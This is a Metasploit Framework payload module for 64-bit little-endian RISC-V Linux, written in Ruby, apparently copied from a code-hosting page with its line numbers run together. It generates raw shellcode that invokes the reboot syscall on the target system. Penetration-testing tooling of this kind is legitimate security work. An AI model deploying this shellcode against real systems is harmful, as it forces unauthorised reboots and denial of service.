Path: blob/master/modules/payloads/singles/linux/riscv64le/reboot.rb
19670 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45module MetasploitModule6CachedSize = 4078include Msf::Payload::Single910def initialize(info = {})11super(12merge_info(13info,14'Name' => 'Linux Reboot',15'Description' => %q{16A very small shellcode for rebooting the system using17the reboot syscall. This payload is sometimes helpful18for testing purposes.19},20'Author' => 'bcoles',21'License' => MSF_LICENSE,22'Platform' => 'linux',23'Arch' => ARCH_RISCV64LE24)25)26end2728def generate(_opts = {})29shellcode =30[0x0007f537].pack('V*') + # lui a0,0x7f31[0x70f5051b].pack('V*') + # addiw a0,a0,180732[0x00d51513].pack('V*') + # slli a0,a0,0xd33[0xead50513].pack('V*') + # addi a0,a0,-33934[0x281225b7].pack('V*') + # lui a1,0x2812235[0x9695859b].pack('V*') + # addiw a1,a1,-168736[0x01234637].pack('V*') + # lui a2,0x123437[0x5676061b].pack('V*') + # addiw a2,a2,138338[0x08e00893].pack('V*') + # li a7,14239[0x00000073].pack('V*') # ecall4041super.to_s + shellcode42end43end444546